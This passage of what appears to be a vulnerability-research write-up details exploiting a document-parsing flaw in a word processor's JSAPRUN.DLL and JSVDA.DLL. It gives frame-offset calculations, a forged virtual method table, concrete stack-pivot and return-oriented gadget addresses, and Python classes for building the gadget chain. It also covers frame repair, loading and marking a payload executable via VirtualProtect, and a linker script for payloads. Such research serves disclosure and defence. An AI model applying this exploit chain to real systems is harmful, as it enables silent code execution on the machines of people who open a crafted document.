<class 'structure' name='$ F3BBB2DE4' offset=-0xb4 size=0x20>
[0] -b4+0x2               __int16 'anonymous_0'     (<class 'int'>, 2)
    -b2+0x2                                         [None, 2]
[1] -b0+0x4                   int 'var_4'           (<class 'int'>, 4)
[2] -ac+0x4               char[4] ' s'              [(<class 'int'>, 1), 4]
[3] -a8+0x4               char[4] ' r'              [(<class 'int'>, 1), 4]
[4] -a4+0x4   JSVDA::object_OFRM* 'ap_oframe_0'     (<class 'type'>, 4)
[5] -a0+0x4                 char* 'ap_streamName_4' (<class 'type'>, 4)
[6] -9c+0x4                   int 'av_flags_8'      (<class 'int'>, 4)
[7] -98+0x4  JSVDA::object_OSEG** 'ap_result_c'     (<class 'type'>, 4)

# Display the frame belonging to the function that we can use for loading a large
# amount of data from the document. Our data is loaded at -0x114C from the common frame.
Python> struc.right(commonframe, [frame.members for frame in huge])[0]
<class 'structure' name='$ F3BC36D66' offset=-0x1168 size=0x1044>
     -1168+0xc                                                 [None, 12]
[0]  -115c+0x4                     int 'var_1014'              (<class 'int'>, 4)
[1]  -1158+0x4                     int 'var_1010'              (<class 'int'>, 4)
[2]  -1154+0x4                     int 'var_100C'              (<class 'int'>, 4)
[3]  -1150+0x4              box_header 'lv_boxHeader_1008'     <class 'structure' name='box_header' offset=-0x1150 size=0x4>
[4]  -114c+0x1000           char[4096] 'lv_buffer(1000)_1004'  [(<class 'int'>, 1), 4096]
[5]   -14c+0x4                     int 'lv_canary_4'           (<class 'int'>, 4)
[6]   -148+0x4                 char[4] ' s'                    [(<class 'int'>, 1), 4]
[7]   -144+0x4                 char[4] ' r'                    [(<class 'int'>, 1), 4]
[8]   -140+0x4     JSVDA::object_OSEG* 'ap_oseg_0'             (<class 'type'>, 4)
[9]   -13c+0x4                     int 'av_size_4'             (<class 'int'>, 4)
[10]  -138+0x4                    int* 'ap_resultSize_8'       (<class 'type'>, 4)
[11]  -134+0x4    object_9e5ffc::data* 'ap_unused_c'           (<class 'type'>, 4)
[12]  -130+0x4       JSFC::CPtrArray** 'ap_ptrArray_10'        (<class 'type'>, 4)
[13]  -12c+0x4       JSFC::CPtrArray** 'ap_ptrArray_14'        (<class 'type'>, 4)
[14]  -128+0x4                     int 'avw_usedFromHeader_18' (<class 'int'>, 4)

# List the members needed to calculate the number of bytes we need to pivot the
# stack pointer into a buffer that contains more data read from the file.
Python> struc.right(commonframe, [frame.members for frame in hijack])[0].list(' *')
[2] -ac:+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[3] -a8:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]

Python> struc.right(commonframe, [frame.members for frame in huge])[0].list(index=range(8), predicate=lambda m: m.size >= 0x100)
[4] -114c:+0x1000 char[4096] 'lv_buffer(1000)_1004' [(<class 'int'>, 1), 4096]

# Take the difference between the buffer with our stream data, and the stack
# pointer at the point where we can execute an address of our choosing.
Python> stack_offset_at_time_of_call = -0xA8 - 6 * 4 - 4
Python> -0x114c - stack_offset_at_time_of_call
-0x1088

By laying out each of the frames contiguously, we can see that the distance from the stack pointer at the point of hijack to the frame belonging to 0x3BE276BE is +0xA8 bytes. However, we will need to adjust it by six parameters and include the saved return address as was described previously. This results in a total of 0xC4 bytes for the first distance. Next, we take the distance from the frame containing our huge buffer to the frame owned by 0x3BE276BE. This results in a total distance of +0x114C bytes. The difference of both of these distances results in +0x1088 bytes. This is the value that we will adjust our stack pointer with so that we can pivot execution directly into the huge buffer that contains our desired stack layout.

Hijacking execution and using pivot

Due to our prior work on promoting the vulnerability, we’ve developed it into the capability of writing an arbitrary amount of data anywhere within the address space. We also did the work to determine how to control a frame pointer which enables us to take control of the %ecx register in the method that owns said frame. This register contains the this pointer which refers to an object and is used when the implementation needs to access a property from the object or a necessary virtual method. After controlling the frame pointer, we can now forge this object and substitute an address of our choosing to be dereferenced as the virtual method table.

.text:3BBB2E1D     loc_3BBB2E1D:                           ; CODE XREF: object_OFRM::openStreamByName?_132de4+17↑j
.text:3BBB2E1D 00C                 push    [ebp+ap_result_c]
.text:3BBB2E20 010                 mov     ecx, [ebp+ap_oframe_0]
.text:3BBB2E23 010                 push    0
.text:3BBB2E25 014                 push    [ebp+av_flags_8]
.text:3BBB2E28 018                 mov     edx, [ecx+JSVDA::object_OFRM.p_vftable_0] ; [note.exp] we control this with our frame pointer
.text:3BBB2E2A 018                 push    0
.text:3BBB2E2C 01C                 push    eax
.text:3BBB2E2D 020                 push    ecx
.text:3BBB2E2E 024                 call    dword ptr [edx+10h] ; [note.exp] our forged vftable contains our target at +0x10
.text:3BBB2E31 00C                 lea     esp, [ebp-8]
.text:3BBB2E34 00C                 pop     esi
.text:3BBB2E35 008                 mov     ecx, [ebp+var_4]
.text:3BBB2E38 008                 xor     ecx, ebp        ; StackCookie
.text:3BBB2E3A 008                 call    __security_check_cookie(x)
.text:3BBB2E3F 008                 leave
.text:3BBB2E40 000                 retn

In the listing, we’ll need to specify the address to execute at offset +0x10 of our forged virtual method table. This will result in the listed instructions dereferencing the virtual method of our controlled object and allow us to hijack execution. In the previous section, we calculated the distance between the stack pointer and a place that we can use to load a page-worth of data from the stream into a buffer on the stack. The only major thing that is left to do is to locate a stack pivot that we can use with the size from the previous section to adjust the stack pointer into our page-worth of stream data. Once we’ve pivoted, we can continuously execute the necessary instructions to load our payload into the address-space.

By enumerating the non-relocatable modules within the address-space of the application, we can identify many instances of the following instruction sequences. Each of these sequences allows us to adjust the stack pointer using the value loaded at -0x18 relative to the %ecx register. As we completely control the %ecx register due to our frame overwrite, we can store the distance that we had previously calculated at -0x18 from our %ecx register to pivot to our forged call stack. Our completed process can then be summarized by creating a fake virtual method table, assigning the address of one of the listed sequences to offset +0x10 of it, and then storing our distance at -0x18 of it. When the virtual method is then called, we will have begun the very first stage of actually hijacking the application’s instruction pointer.

JSAPRUN.DLL     0x610202e0: add esp, dword ptr [ecx - 0x18]; ret; 
JSAPRUN.DLL     0x61048954: add esp, dword ptr [ecx - 0x18]; dec edi; ret; 
JSAPRUN.DLL     0x610a0265: add esp, dword ptr [ecx - 0x18]; dec edx; clc; call dword ptr [ecx + 0x56]; 
JSAPRUN.DLL     0x610a13c6: add esp, dword ptr [ecx - 0x18]; fnstsw word ptr [eax]; clc; call dword ptr [ecx + 0x56]; 
JSAPRUN.DLL     0x6108d2c6: add esp, dword ptr [ecx - 0x18]; fnstsw word ptr [ecx - 7]; call dword ptr [ecx - 0x7d]; 
JSAPRUN.DLL     0x61037b04: add esp, dword ptr [ecx - 0x18]; lahf; sar esi, 1; call dword ptr [ecx + 0x68];
JSAPRUN.DLL     0x61029acd: add esp, dword ptr [ecx - 0x18]; salc; mov cl, 0xff; call dword ptr [ecx + 0x56]

Generalizations on Instruction Sequence Reuse

When putting together the chunks that are necessary for loading arbitrary code, each sequence contains a side effect that contributes to the necessity of said chunk, and an attribute that determines the method by which one can continue execution from it. For the second attribute, an instruction sequence can continue its execution in only a few ways.

The first method is generally recognized as return-oriented programming and requires control of memory that resides within a stack frame. The second method involves the combination of branch instruction and an immediate register which requires arithmetic and control of the register to continue execution. The third method involves a dereference and a branch instruction. This method requires control of an address that is relative to a register, or a branch that references a global within the address-space of the target and control of said memory location. There is a fourth method that involves runtime or operating-system-provided facilities, however, this method has not been explored within the provided exploit.

The two types of branches that are necessary to leverage each of these methods are a preserved branch which preserves some aspect of the current execution scope, or a direct branch which either discards or does not have any effect on the current scope. Generally, the primary characteristic that distinguishes whether a desired sequence can be continued from the chunk that was previously executed relies on how it may affect the stack pointer upon its entry and its exit. This is a result of the stack pointer, in essence, having similar characteristics as the instruction pointer with regard to instructions that affect it.

Based on these assumptions, the table containing the offsets of the sequences containing the necessary side effects leveraged during the exploitation process keeps track of two pieces of data. The first is the stack delta for the entirety of each chunk (excluding the stack delta if the sequence directly influences the stack pointer). The second piece of data involves any adjustments that may be applied to the stack pointer after the code chunk has continued execution to its following sequence.

From these two pieces of data, the following Python code can be used to isolate the process of chaining sequences together from the process of putting together the necessary side-effects for leveraging code execution. By implementing this abstraction, this has the effect of simplifying the stack layout process enabling an implementer to put together code sequences in a way that is better oriented toward reusability.

class StackReceiver(object):
    def __init__(self, receiver):
        self._receiver = receiver
        self._state = coro = self.__sender(receiver)
        next(coro)

    def sender(self, receive_word):
        release = None
        while True:
            while not release:
                offset = (yield)
                receive_word(offset)
                adjust = (yield)
                if adjust and isinstance(adjust, (tuple, list)):
                    [receive_word(integer) for integer in adjust]
                elif adjust:
                    receive_word(dyn.block(adjust)))
                release = (yield)

            offset = (yield)
            receive_word(offset)
            if isinstance(release, (tuple, list)):
                [receive_word(integer) for integer in release]
            else:
                receive_word(dyn.block(release))

            adjust = (yield)
            if adjust and isinstance(adjust, (tuple, list)): 
                [receive_word(integer) for integer in adjust]
            elif adjust:
                receive_word(dyn.block(adjust)))
                
            release = (yield)
        return

    def send(self, snippet, *integers):
        '''Simulate a return.'''
        state = self._state
        offset, adjust, release = snippet
        state.send(offset)
        state.send(integers if integers else adjust)
        state.send(release)

    def call(self, offset, *parameters):
        '''Simulate a call.'''
        state = self._state
        offset, adjust, release = offset if isinstance(offset, (tuple, list)) else (offset, 0, 0)
        state.send(offset)
        state.send(None)
        state.send(parameters)

    def skip(self, count):
        '''Clean up any extra parameters assumed by the current calling convention.'''
        state = self._state
        if count:
            state.send(0)
            state.send([0] * (count - 1)) if count > 1 else state.send(None)
            state.send(None)
        return

### Example usage
layout = []
stack = StackReceiver(layout.append)

# assign %eax with the delta from our original frame to &lp_oframe_230 or &ap_oframe_0.
# this way we can dereference it to get access to the contents of the object_OFRM.
delta_oframe = scope_pivot['F3C1FAF0F']['ap_oframe_0'].getoffset() - scope_pivot['F3BBB2DE4'][' s'].getoffset()
delta_oframe = scope_pivot['F3C1FAF0F']['lp_oframe_230'].getoffset() - scope_pivot['F3BBB2DE4'][' s'].getoffset()

stack.send(JSAPRUN.assign_pop_eax, delta_oframe)
stack.send(JSAPRUN.arithmetic_add_ebp_eax)

# now we can dereference %eax to point at the object_OFRM representing our document.
stack.send(JSAPRUN.assign_pop_esi, 0)
stack.send(JSAPRUN.arithmetic_addload_eax_esi)
stack.send(JSAPRUN.assign_esi_eax, 0)

# adjust %eax by +4 so that we can load the value from object_OFRM.v_index_4 into %esi.
# the integer at this index is a handle and is all we need to create a fake object_OFRM.
stack.send(JSAPRUN.arithmetic_add_imm4_eax)
stack.send(JSAPRUN.assign_pop_esi, 0)
stack.send(JSAPRUN.arithmetic_addload_eax_esi)

...

# stash %ecx containing our context into %ebx for the purpose of preserving our context.
# this way we can restore it later from %ebx to regain access to our current state.
stack.send(JSAPRUN.assign_ecx_eax)
stack.send(JSAPRUN.exchange_eax_ebx)

# void *__thiscall JSAPRUN.dll!method_mallocPageAndSurplus_7ebee(_DWORD *this, size_t av_size_0)
# this function allocates a page (0x1000) and writes it to 0x24(%ecx). if av_0 > 0x1000, then it
# also returns a pointer to that number of bytes and does nothing else.
stack.call(JSAPRUN.procedure_method_mallocPageAndSurplus_7ebee, 0x1001, 0x11111111)
stack.send(JSAPRUN.arithmetic_add_imm4_esp)

...

# open up a stream by its name, layout.frame.stream_name. %ecx contains our fake object_OFRM.
new_context = layout['context']['object(OSEG)']
assert(not(divmod(new_context.int() - layout['context'].getoffset(), 4)[1])), "Result {:s} is unaligned from {:s} and will not be accessible".format(layout['context']['object(OSEG)'].instance(), layout['context'].instance())
stack.send(JSAPRUN.assign_pop_eax, layout['object_OFRM.vftable'].getoffset())
# int __stdcall object_OFRM::method_openStream_2b5c5(JSVDA::object_OFRM *ap_this_0, wchar_t *ap_streamName_4, int a_unused_8, char avb_flags_c, int a_unused_10, JSVDA::object_OSEG **ap_result_14)
stack.send(JSAPRUN.callsib1_N_eax_c__ecx, layout['frame']['stream_name'].getoffset(), 0x22222222, 3, 0x33333333, new_context.getoffset())

# copy the %ebx containing our context back into %ecx.
stack.send(JSAPRUN.assign_pop_ecx, 0)
stack.send(JSAPRUN.exchange_eax_ebx)
stack.send(JSAPRUN.arithmetic_add_eax_ecx)
stack.send(JSAPRUN.exchange_eax_ebx)

A few more abstractions around this concept were developed to allow further flexibility such as marking a specific slot on the stack relative to another code chunk, and then using the side effect of a prior sequence to load from or store a value to that slot. By combining the second or third execution-retaining methods with a preserving-branch instruction, primitive looping constructs are possible without the need for conditional branches through the simulation of a jump table. This is useful for the situation where the amount of data being processed by each sequence is of a non-static length and dependent on a value only available during runtime.

class ReceiverMarker(StackReceiver):
    '''Experimental class for referencing a specific slot within the stack and marking the snippet where the slot is referenced.'''
    def __init__(self):
        self._collected = collected = []
        super(ReceiverMarker, self).__init__(collected.append)
        self._marked = []

    def use(self, snippet, *integers):
        '''Mark the specified snippet where a slot should be calculated from.'''
        self.send(snippet, *integers)
        self._marked = self._collected[:]

class Stacker(StackReceiver):
    '''Experimental class for referencing a specific slot within the stack to be either read from or written to.'''
    def __init__(self, stack):
        super(Stacker, self).__init__(stack.append)
        self._stack = stack

    @contextlib.contextmanager
    def reference(self, snippet, *integers, **index):
        '''Reference a slot within the stack and use it as a parameter to the specified snippet.'''
        marker = ReceiverMarker()
        try:
            abort = None
            yield marker
        except Exception as exception:
            abort = exception
        finally:
            if abort: raise abort

        # build the stack containing the entire contents that were collected.
        tempstack = parray.type(_object_=ptype.pointer_t).a
        [ tempstack.append(item) for item in marker._collected ]

        # build the stack that was marked by the caller.
        markstack = parray.type(_object_=ptype.pointer_t).a
        [ markstack.append(item) for item in marker._marked ]

        # build the stack that is being used to adjust towards a specific index.
        adjuststack = parray.type(_object_=ptype.pointer_t)
        adjuststack = adjuststack.alloc(length=index.get('index', 0))

        # push the caller's requested instruction onto the stack using the size that was marked.
        state = self._state
        offset, adjust, release = snippet
        state.send(offset)
        items = [item for item in integers]
        state.send(items + [tempstack.size() - markstack.size() + adjuststack.size()])
        state.send(release)

        # now we can push all of the elements that the caller wanted onto the stack.
        Freceive = self._receiver
        [ Freceive(item) for item in tempstack ]

The following listing is an example of the usage of the prior-mentioned abstractions.

# load the page from layout.vprotect.dynamic_buffer into %edi which was written to 0x24(%ecx) earlier.
stack.send(JSAPRUN.assign_pop_eax, divmod(layout['vprotect']['dynamic_buffer'].getoffset() - layout['context'].getoffset(), 4)[0])
stack.send(JSAPRUN.load_slotX_eax_eax)
stack.send(JSAPRUN.exchange_eax_edi)
stack.send(JSAPRUN.return_0)

# now we write %edi directly into slot 1 of whatever follows us.
with stack.reference(JSAPRUN.assign_pop_eax, index=1) as store:
    store.use(JSAPRUN.store_edi_sib1_eax_esp_0)     # mark the index from this stack position
    store.send(JSAPRUN.assign_pop_eax, layout['object_OSEG.vftable'].getoffset() - layout['context'].getoffset())
    store.send(JSAPRUN.arithmetic_add_eax_ecx)

    # adjust %ecx to move from layout.context to layout.object_OSEG.vftable so
    # that we can eventually call 8(%ecx) later to read from the opened stream.
    delta_object_oseg = layout['context']['object(OSEG)'].getoffset() - layout['object_OSEG.vftable'].getoffset()
    assert(not(delta_object_oseg % 4)), "{:s} is not aligned from {:s} and will be inaccessible.".format(layout['context']['object(OSEG)'].instance(), layout['object_OSEG.vftable'].instance())
    store.send(JSAPRUN.assign_pop_eax, divmod(delta_object_oseg, 4)[0])
    store.send(JSAPRUN.load_slotX_eax_eax)

# "store.use" overwrites index 0+1, 0xBBBBBBBB, in the following sequence.
# int __stdcall object_OSEG::method_read_2c310(JSVDA::object_OSEG *ap_object_0, BYTE *ap_buffer_8, int av_size_c, int *ap_resultSize_c)
stack.send(JSVDA.callsib1_N_ecx_8__eax__ecx, 0xBBBBBBBB, 0x1000, layout['unused_result'].getoffset())

# calling object_OSEG::method_read_2c310 cleans up all args, but prior
# sequence misses 1.. which we take care of here.
stack.skip(1)

Repairing the frame

In a previous section, we’ve combined all of the capabilities that we’ve developed and can completely control the execution of the current thread with data that was read from the stream containing our vulnerability. We’ve also successfully developed a methodology that enables us to execute multiple sequences of instructions in succession. Normally this should be enough, however, at the time that we’ve taken control of the instruction pointer, all of the streams belonging to the document have completely gone out of scope.

Another thing of concern is that we’ve used our control of the frame pointer to swap the virtual method table of the only object that is responsible for referencing the contents of our document. This results in the document being completely inaccessible to us at this point in execution, and prevents us from returning to the application when we’re done. We can avoid this, however, if we can repair the frame and re-create the objects that were in scope at the time the application was supposed to complete its parsing of the document stream.

Hence, our next step requires us to discover a way of restoring the functionality to access the contents of our document. Fortunately, we can use the frame pointer that is stored within the %ebp register to access the frame of our caller. This allows us to use it as a reference point and to access any information that was previously in the stack. Hence, when we use our ability to execute sequences of prior loaded instructions, we will need to preserve this register as it is our only gateway into the application’s original stack.

During the execution of our sequences, we can also use the %ecx about register that we took control of when modifying the frame pointer. This can be leveraged as a reference point to access or store any information to the forged object that was created with our vulnerability. It is also worth considering that the calling convention for the application preserves registers when executing a different function. As a result, the %ebx, %esi, and %edi registers can also be used to preserve any values that we need when our sequences dispatch back into the process after they fulfill our needs.

Reviewing the call-stack at the time that the virtual method from our forged object is called shows that we are 4 frames away from the function whose frame we hijacked. Hence, we will need to know the sizes of these frames if we want to access any of their contents. The diagram that follows shows each of these frames along with their sizes. In this diagram, the frame pointer within the %ebp register was preserved in the frame for object_OFRM::openStreamByName?_132de4 at 0x3BBB2DE4, and references the frame pointer farther up the call stack and preserved in the function for object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be at 0x3BE276BE.

# Assign the path through the backtrace that ends up dereferencing from our virtual method table.
Python> backtrace = [0x3bbb2de4, 0x3be276be, 0x3be26cb2, 0x3c1faf0f]

Python> pp(listmap(func.name, backtrace))
['object_OFRM::openStreamByName?_132de4',
 'object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be',
 'object_9c2044::parseStream(DocumentEditStyles)_3a6cb2',
 'object_9c2044::method_processStreams_77af0f']

# Grab the frame members for each function in the backtrace in order to study their layout.
Python> layout = struc.right(func.frame(backtrace[-1]), [func.frame(f) for f in backtrace[:-1]])

# Display each of the frames.
Python> pp(layout)
[<class 'structure' name='$ F3BBB2DE4' offset=-0x344 size=0x20>,
 <class 'structure' name='$ F3BE276BE' offset=-0x324 size=0xa8>,
 <class 'structure' name='$ F3BE26CB2' offset=-0x27c size=0x18>,
 <class 'structure' name='$ F3C1FAF0F' offset=-0x264 size=0x278>]

# List the location of each preserved frame pointer in our callstack.
Python> [(print(frame), frame.list(' *')) for frame in layout]
<class 'structure' name='$ F3BBB2DE4' offset=-0x344 size=0x20>
[2]  -33c:+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[3]  -338:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]
<class 'structure' name='$ F3BE276BE' offset=-0x324 size=0xa8>
[25] -298:+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[26] -294:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]
<class 'structure' name='$ F3BE26CB2' offset=-0x27c size=0x18>
[0]  -278:+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[1]  -274:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]
<class 'structure' name='$ F3C1FAF0F' offset=-0x264 size=0x278>
[ 9]   -8:+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[10]   -4:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]

After we stash the state of the frame pointer during execution, we then use it to immediately repair the frame pointer that was hijacked farther up the stack in the object_9c2044::method_processStreams_77af0f at 0x3C1FAF0F. Since we know what the original value for the frame pointer was intended to be, we can add the distance between the calculations of what the original frame pointer was before we overwrote it with the vulnerability.

# Owner of the frame pointer that we have access to.
Python> func.name(func.by(layout[0]))
'object_OFRM::openStreamByName?_132de4'

Python> layout[0].members.list(' *')
[2] -33c:+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[3] -338:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]

# Owner of the frame pointer that we've overwritten.
Python> func.name(func.by(layout[-1]))
'object_9c2044::method_processStreams_77af0f'

Python> layout[-1].members.list(' *')
[ 9] -8:+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[10] -4:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]

# Calculate the delta between both of these locations.
Python> layout[-1].members.by(' s').offset - layout[0].members.by(' s').offset
0x334

This is done by taking the difference between the " s" field in frame 0x3BBB2DE4 which is our overwritten frame pointer value, and the " s" field in frame 0x3C1FAF0F which is the correct value before overwriting the frame pointer. The result of this calculation is 0x334 bytes, and we only need to add this value to our current frame pointer in the %ebp register to determine the correct value.

We'll also need to do a similar calculation to locate the saved frame pointer that was overwritten for us to write our correct value to it. This is demonstrated in the listing that follows. Instead of using the " s" field in frame 0x3C1FAF0F, we'll need to use the " s" field in frame 0x3BE26CB2. The distance to correct the overwritten frame pointer is then calculated as +0xC4. Utilizing both values allows us to completely repair the frame and return the application to the state before our modifications after we've accomplished our goal.

# Display the layout that we'll be examining.
Python> pp(layout[:-1])
[<class 'structure' name='$ F3BBB2DE4' offset=-0x344 size=0x20>,
 <class 'structure' name='$ F3BE276BE' offset=-0x324 size=0xa8>,
 <class 'structure' name='$ F3BE26CB2' offset=-0x27c size=0x18>]

Python> pp(listmap(func.name, map(func.by, layout[:-1])))
['object_OFRM::openStreamByName?_132de4',
 'object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be',
 'object_9c2044::parseStream(DocumentEditStyles)_3a6cb2']

# Identify the two members that we will need to use to locate the frame pointer
# that we will need to overwrite in order to repair the call stack.
Python> pp((layout[0].members.by(' s'), layout[2].members.by(' s')))
(<member '$ F3BBB2DE4. s' index=2 offset=-0x33c size=+0x4 typeinfo='char[4]'>,
 <member '$ F3BE26CB2. s' index=0 offset=-0x278 size=+0x4 typeinfo='char[4]'>)

# Calculate the difference between the current frame pointer, and the preserved
# frame pointer that we will overwrite.
Python> layout[0].members.by(' s').offset - layout[2].members.by(' s').offset
-0xc4

Loading the contents of a stream

After repairing the frame, we still need some way of loading a payload into the address space to mark it as executable and then execute it. Since we hijacked execution after the stream that contained the vulnerability was closed by the application, we'll need some other means to load our code. Fortunately, as we have access to the scope of the stream parsing, we can reuse anything available within the stack to perform this. This is only possible because the JSVDA.DLL module, which contains the necessary functionality to interact with a document object, is at a known address, and the document is stored within the application as a single handle. Thus, only the object's handle and its virtual method table are necessary to forge our own instance of the document object, and we’ll need to reference it to restore the ability to read from the document back to the application.

Revisiting the call stack containing the scope of the document parser to the point where we hijack execution, we need the distance between our saved frame pointer and the field inside the frame for the object_9c2044::method_processStreams_77af0f function at 0x3C1FAF0F which contains the document object. In the following listing, the ap_oframe_0 field contains the document object of type JSVDA::object_OFRM that was passed in from its caller, and then the lp_oframe_230 local variable in the frame maintains a copy of it for the method. Once we've calculated the distance between our current frame pointer and the location of one of these objects, we can simply load the object's handle from its list of properties, and then use it anywhere to access the contents of the loaded document.

Python> callstack = [0x3bbb2de4, 0x3be276be, 0x3be26cb2, 0x3c1faf0f]
Python> pp(listmap(func.name, callstack))
['object_OFRM::openStreamByName?_132de4',
 'object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be',
 'object_9c2044::parseStream(DocumentEditStyles)_3a6cb2',
 'object_9c2044::method_processStreams_77af0f']

# Convert our callstack into a list of frames.
Python> layout = struc.right(func.frame(callstack[-1]), listmap(func.frame, callstack[:-1]))

# List all frame variables that have a type.
Python> layout[-1].list(typed=True)
[ 4] -254:+0x18  frame_77af0f::field_24c 'lv_struc_24c'      <class 'structure' name='frame_77af0f::field_24c' offset=-0x254 size=0x18>
[ 6] -238:+0x4       JSVDA::object_OFRM* 'lp_oframe_230'     (<class 'type'>, 4)
[ 7] -234:+0x228           object_2f27f8 'lv_object_22c'     <class 'structure' name='object_2f27f8' offset=-0x234 size=0x228>
[11]    0:+0x4       JSVDA::object_OFRM* 'ap_oframe_0'       (<class 'type'>, 4)
[12]    4:+0x4              unsigned int 'av_documentType_4' (<class 'int'>, 4)
[13]    8:+0x4              unsigned int 'av_flags_8'        (<class 'int'>, 4)
[14]    c:+0x4             struc_79aa9a* 'ap_stackobject_c'  (<class 'type'>, 4)
[15]   10:+0x4                       int 'ap_null_10'        (<class 'int'>, 4)

# List all frame variables that reference the object used to read from an opened document.
Python> layout[-1].list(structure=struc.by('JSVDA::object_OFRM'))
[ 6] -238:+0x4 JSVDA::object_OFRM* 'lp_oframe_230' (<class 'type'>, 4)
[11]    0:+0x4 JSVDA::object_OFRM* 'ap_oframe_0'   (<class 'type'>, 4)

In the exploit, we leverage our vulnerability to store an address to the forged object's virtual method table in memory. Thus, to complete the object, we only need to write the handle from the document object that we loaded from farther up our call stack to its correct place after the virtual method table. At this point, we can call any of its methods to use our copy of it. The following listing is the simple layout of this object.

Python>struc.search('*_OFRM').members
<class 'structure' name='JSVDA::object_OFRM' size=0x8>  # [alloc.tag] OFRM
[0] 0+0x4 int 'p_vftable_0' (<class 'int'>, 4)          # [vftable] 0x278186F0
[1] 4+0x4 int 'v_index_4'   (<class 'int'>, 4)          # {'note': 'object_117c5 handle', 'alloc.tag': 'MFCM'}

Afterward, the rest of the process is straightforward. To allocate a page of memory, we use another method within the same module. We copy the original virtual method table back into our forged object and then reuse it to open up an arbitrary stream from the file and return another object for the stream. Using this stream object, we read the contents of the opened stream into the allocated page of memory.

To make this allocated page of memory executable, we reuse a wrapper around one of the imports within the same module to call "VirtualProtect". Finally, we call our stub for the loaded code to initialize the payload and branch to its real entry point. Once the payload completes its execution and returns to us, we set a successful return code so that the 0x3C1FAF0F function believes that the stream was parsed successfully. At this point, our payload is successfully executing in the background and the application has completely rendered the document.

Using a compiler

After the process for loading the desired code into the address space is complete, it is generally publically agreed upon to directly include “shellcode” to maintain execution within the context of the exploited process. Shellcode involves generated or hand-written assembly code that is used to demonstrate control of execution. Alternatively, one can simply leverage open-source compiler tools to implement their payload in a language with higher-level abstractions. This is not only limited to closed-source compilers, however, as one can implement a basic linker with a stub at the entry point of the linked code that is responsible for applying the necessary relocations to its data and then loading the final payload. This is not dissimilar to the reflective DLL injection technique from Stephen Fewer.

The following linker script can be used with the MinGW port of the GNU linker (ld) to emit a contiguous binary that may be loaded into the context of a process. This linker script isolates the entry point from the contiguous pages that need to be mapped as executable and the pages that need to be mapped as writable. After the data and executable code has been properly mapped, an implementer will then need to apply __load_size relocations that are stored between the __load_reloc_start and __load_reloc_stop symbols. If imports are included in the linked target, these end up being stored between the __load_import_start and __load_import_end symbols.

ENTRY(_start)
STARTUP(src/entry.o)
TARGET(pe-i386)

SECTIONS {
    HIDDEN(_loc_counter = .);
    HIDDEN(_loc_align = 0x10);

    .load _loc_counter : {
        __load_start = ABSOLUTE(.);
        KEEP(*(.init))
        KEEP(*(.fini))
        . = ALIGN(_loc_align);

        __load_size = .; LONG(__load_end - __load_start);
        __load_segment_start = .; LONG(__segment_start);
        __load_segment_end = .; LONG(__segment_end);
        __load_reloc_start = .; LONG(__reloc_start);
        __load_reloc_end = .; LONG(__reloc_end);
        __load_import_start = .; LONG(__import_start);
        __load_import_end = .; LONG(__import_end);

        __load_end = ABSOLUTE(.);
        . = ALIGN(_loc_align);
    }
    _loc_counter += SIZEOF(.load);

    .imports _loc_counter : {
        __import_size = ABSOLUTE(.); LONG(__import_end - __import_start);
        __import_start = ABSOLUTE(.);
        *(.idata)
        *(SORT_BY_NAME(.idata$*))
        __import_end = ABSOLUTE(.);

        . = ALIGN(_loc_align);
    }
    _loc_counter += SIZEOF(.imports);

    __segment_start = ABSOLUTE(.);

    .text _loc_counter : {
        *(.text)
        *(SORT_BY_NAME(.text$*))
        *(.text.*)
        . = ALIGN(_loc_align);

        __CTOR_LIST__ = ABSOLUTE(.);
        LONG((__CTOR_END__ - __CTOR_LIST__) / 4 - 2);
        KEEP(*(.ctors));
        KEEP(*(.ctor));
        KEEP(*SORT_BY_NAME(.ctors.*));
        LONG(0);
        __CTOR_END__ = ABSOLUTE(.);

        __DTOR_LIST__ = ABSOLUTE(.);
        LONG((__DTOR_END__ - __DTOR_LIST__) / 4 - 2);
        KEEP(*(.dtors));
        KEEP(*(.dtor));
        KEEP(*SORT_BY_NAME(.dtors.*));
        LONG(0);
        __DTOR_END__ = ABSOLUTE(.);

        . = ALIGN(_loc_align);
    }
    _loc_counter += SIZEOF(.text);

    .data _loc_counter : {
        *(.data)
        *(SORT_BY_NAME(.data$*))
        *(.data.*)
        *(.*data)
        *(.*data.*)

        . = ALIGN(_loc_align);
    }
    _loc_counter += SIZEOF(.data);

    __segment_end = ABSOLUTE(.);

    .relocations _loc_counter : {
        __reloc_size = ABSOLUTE(.); LONG(__reloc_end - __reloc_start);
        __reloc_start = ABSOLUTE(.);
        *(.reloc)
        __reloc_end = ABSOLUTE(.);

        . = ALIGN(_loc_align);
    }
    _loc_counter += SIZEOF(.relocations);

    .bss (NOLOAD) : {
        *(.bss)
        *(COMMON)
    }

    .discarded (NOLOAD) : {
        *(.*)
    }

    __end__ = _loc_counter;
}

By implementing the logic required to map the chosen segments into memory and applying the necessary relocations, dependence on the platform’s runtime linker can be avoided entirely. After this, an implementer can then initialize the runtime for their desired language and develop more complicated payloads in a language that better facilitates their needs.

Alternatively, a linker for the PECOFF object and archive formats is also included with the exploit in case the implementer prefers to use a closed-source compiler for their payload. This linker will take a list of input files and emit a block of binary data that when executed by the exploit will load and execute the implemented payload.

Finishing up

After our loaded code has been successfully executed, we only need to set the %eax register to a correct value to tell the caller that either the stream could not be opened, or it has been opened successfully. After assigning the result, we need to use a regular frame pointer exit to leave the hijacked function and resume execution as if nothing happened. The following two addresses will do exactly that. Because the hijacked frame pointer had previously been repaired before executing our payload, the application will continue to attempt to parse and load the rest of the contents for the document as if nothing terrible has happened.

JSAPRUN.DLL    0x6100e5cf: pop eax; ret;
JSAPRUN.DLL    0x6100104f: leave; ret;

